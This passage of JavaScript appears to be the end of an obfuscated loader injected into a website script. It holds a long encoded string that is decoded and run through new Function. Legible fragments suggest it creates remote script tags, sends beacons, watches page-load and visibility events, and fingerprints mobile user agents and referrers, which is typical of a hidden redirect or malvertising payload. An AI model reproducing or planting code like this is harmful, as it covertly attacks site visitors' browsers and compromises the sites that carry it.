F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/f/}0sj(8}vR8_77(o)@7_J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();